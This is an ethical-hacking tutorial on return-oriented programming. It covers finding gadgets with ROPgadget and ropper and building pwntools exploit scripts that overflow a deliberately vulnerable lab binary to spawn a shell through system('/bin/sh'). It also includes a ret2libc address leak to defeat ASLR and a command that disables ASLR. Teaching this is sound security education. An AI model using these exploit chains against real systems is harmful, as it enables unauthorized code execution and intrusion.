Ethical Hacking #rop#binary-exploitation#pwn

ROP Chains: Bypassing NX/DEP in Binary Exploitation

Understand Return-Oriented Programming, find gadgets with ROPgadget and ropper, construct a basic ROP chain, and bypass NX/DEP protections.

7 min read

Modern binaries are hardened with protections that make traditional shellcode injection impractical. NX (No-Execute) — also called DEP (Data Execution Prevention) on Windows — marks the stack and heap as non-executable, so code you inject there won’t run. Return-Oriented Programming (ROP) sidesteps this entirely by reusing existing executable code already in the binary or its libraries. Understanding ROP is essential for anyone serious about binary exploitation.

The Core Concept

A ROP chain works by chaining together small code snippets called gadgets — short sequences of instructions already present in the binary that end with a ret instruction. Because the code already lives in executable memory, NX doesn’t block it.

The stack becomes a chain of return addresses. When the processor executes ret, it pops the top of the stack into the instruction pointer and jumps there. By carefully arranging return addresses (and data) on the stack, you can chain gadgets to perform arbitrary computation.

A simple gadget:

pop rdi ; ret

If you place the value 0xdeadbeef on the stack before this gadget’s address, the gadget pops 0xdeadbeef into rdi, then ret transfers control to the next address on the stack. Chain enough of these and you can set up syscall arguments to spawn a shell.

Setup: Disabling ASLR for Learning

When first learning ROP, disable ASLR to work with fixed addresses:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Compile a vulnerable test binary:

# Compile without stack canaries, with NX enabled
gcc -o vuln vuln.c -fno-stack-protector -no-pie
checksec --file=vuln

checksec output shows what protections are active:

RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE

NX enabled but no canary — a classic ROP scenario.

Finding Gadgets with ROPgadget

ROPgadget is the standard tool for finding usable gadgets in a binary.

pip install ROPgadget
ROPgadget --binary ./vuln

Find specific gadgets:

# Find gadgets that pop into rdi
ROPgadget --binary ./vuln --re "pop rdi"

# Find gadgets containing ret
ROPgadget --binary ./vuln --re "ret$"

# Search in libc
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --re "pop rdi"

Example output:

Gadgets information
============================================================
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006af : pop r14 ; pop r15 ; ret

Finding Gadgets with ropper

ropper is an alternative with a nicer interface and filtering options:

pip install ropper
ropper -f ./vuln --search "pop rdi"

ropper also supports interactive mode:

ropper -f ./vuln
# Then interactively:
search pop rdi

Constructing a Basic ROP Chain (x86-64 Linux)

The goal: call system("/bin/sh") without injecting shellcode.

Step 1: Find the buffer overflow offset

Use a cyclic pattern to find how many bytes reach the return address:

from pwn import *
payload = cyclic(200)
io = process("./vuln")
io.sendline(payload)
io.wait()
core = io.corefile
offset = cyclic_find(core.read(core.rsp, 4))
print(f"Offset: {offset}")

Step 2: Locate necessary gadgets

ROPgadget --binary ./vuln --re "pop rdi ; ret"
# Output: 0x4006b3

ROPgadget --binary ./vuln --re "ret$"
# Output: 0x4006b4  (single ret for stack alignment)

Step 3: Find the address of /bin/sh and system

# In GDB
(gdb) info proc mappings
(gdb) find &system, +99999999, "/bin/sh"

Or with pwntools when ASLR is disabled:

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

Step 4: Build the chain

from pwn import *

elf = ELF("./vuln")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

pop_rdi = 0x4006b3     # pop rdi ; ret
ret     = 0x4006b4     # ret (for 16-byte stack alignment)
binsh   = 0x7ffff7f57698  # address of "/bin/sh" in libc
system  = 0x7ffff7c50d70  # address of system() in libc

offset = 72  # bytes to reach return address

payload  = b"A" * offset
payload += p64(pop_rdi)  # set first argument (rdi) = &"/bin/sh"
payload += p64(binsh)
payload += p64(ret)      # stack alignment for system()
payload += p64(system)   # call system("/bin/sh")

io = process("./vuln")
io.sendline(payload)
io.interactive()

Dealing with ASLR: ret2plt and ret2libc

With ASLR enabled, library addresses change each run. The solution is a leak — use a gadget to call puts@plt with the GOT address of a function to print its runtime address, calculate the libc base, then call system.

# Stage 1: leak libc address
payload1  = b"A" * offset
payload1 += p64(pop_rdi)
payload1 += p64(elf.got["puts"])  # address of puts in GOT
payload1 += p64(elf.plt["puts"])  # call puts to print it
payload1 += p64(elf.sym["main"]) # return to main to run again

io.sendline(payload1)
io.recvuntil(b"\n")
leaked_puts = u64(io.recv(6).ljust(8, b"\x00"))
libc_base = leaked_puts - libc.sym["puts"]

# Stage 2: call system with corrected addresses
system = libc_base + libc.sym["system"]
binsh  = libc_base + next(libc.search(b"/bin/sh"))

Protections ROP Does NOT Bypass Alone

ProtectionBypassed by ROP?Additional technique needed
NX/DEPYesCore purpose of ROP
ASLRNoRequires information leak
Stack canaryNoRequires canary leak or overwrite
Full RELRONoCannot overwrite GOT
CET (Control Flow Enforcement)PartiallySignificantly harder

ROP is not a silver bullet, but it’s the essential first layer of any modern exploitation technique. Once you can build a reliable ROP chain, you have the foundation for attacking even heavily hardened binaries.

#bypass-nx #ropgadget #pwn #binary-exploitation #rop